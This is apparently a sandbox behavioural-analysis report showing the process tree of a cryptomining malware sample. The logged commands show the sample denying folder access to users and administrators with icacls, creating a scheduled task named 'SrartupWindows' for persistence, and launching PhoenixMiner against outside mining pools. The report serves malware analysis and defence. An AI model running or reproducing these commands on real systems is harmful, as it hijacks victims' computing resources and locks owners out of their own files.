| ZeroBOX

this.exe "C:\Users\test22\AppData\Local\Temp\this.exe"
2648
- This.exe C:\ProgramData\NetWork\This.exe
  2092
  - cmd.exe C:\Windows\system32\cmd.exe /c icacls C:\ProgramData\NetWork /deny "%username%:(R,REA,RA)"
    2856
    - icacls.exe icacls C:\ProgramData\NetWork /deny "test22:(R,REA,RA)"
      2976
  - cmd.exe C:\Windows\system32\cmd.exe /c icacls C:\ProgramData\NetWork /deny "Users:(R,REA,RA)"
    844
    - icacls.exe icacls C:\ProgramData\NetWork /deny "Users:(R,REA,RA)"
      2064
  - cmd.exe C:\Windows\system32\cmd.exe /c icacls C:\ProgramData\NetWork /deny "Administrators:(R,REA,RA))"
    2764
    - icacls.exe icacls C:\ProgramData\NetWork /deny "Administrators:(R,REA,RA))"
      2232
  - cmd.exe C:\Windows\system32\cmd.exe /cschtasks /create /tn "SrartupWindows" /tr "%ProgramData%\NetWork\This.exe" /sc minute /mo 10
    2416
    - schtasks.exe schtasks /create /tn "SrartupWindows" /tr "C:\ProgramData\NetWork\This.exe" /sc minute /mo 10
      108
  - PhoenixMiner.exe "C:\ProgramData\NetWork\PhoenixMiner.exe" -pool stratum+tcp://eu.emcd.io:7777 -pool2 stratum+tcp://eu2.emcd.io:7777 -wal patriot.h -gpow 30 -gt 6 -log 0
    1536
- cmd.exe C:\Windows\system32\cmd.exe /c icacls C:\ProgramData\NetWork /deny "%username%:(R,REA,RA)"
  260
  - icacls.exe icacls C:\ProgramData\NetWork /deny "test22:(R,REA,RA)"
    872
- cmd.exe C:\Windows\system32\cmd.exe /c icacls C:\ProgramData\NetWork /deny "Users:(R,REA,RA)"
  1816
  - icacls.exe icacls C:\ProgramData\NetWork /deny "Users:(R,REA,RA)"
    2072
- cmd.exe C:\Windows\system32\cmd.exe /c icacls C:\ProgramData\NetWork /deny "Administrators:(R,REA,RA))"
  2620
  - icacls.exe icacls C:\ProgramData\NetWork /deny "Administrators:(R,REA,RA))"
    2480
- cmd.exe C:\Windows\system32\cmd.exe /cschtasks /create /tn "SrartupWindows" /tr "%ProgramData%\NetWork\This.exe" /sc minute /mo 10
  916
  - schtasks.exe schtasks /create /tn "SrartupWindows" /tr "C:\ProgramData\NetWork\This.exe" /sc minute /mo 10
    3016
- PhoenixMiner.exe "C:\ProgramData\NetWork\PhoenixMiner.exe" -pool stratum+tcp://eu.emcd.io:7777 -pool2 stratum+tcp://eu2.emcd.io:7777 -wal patriot.h -gpow 30 -gt 6 -log 0
  3028

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents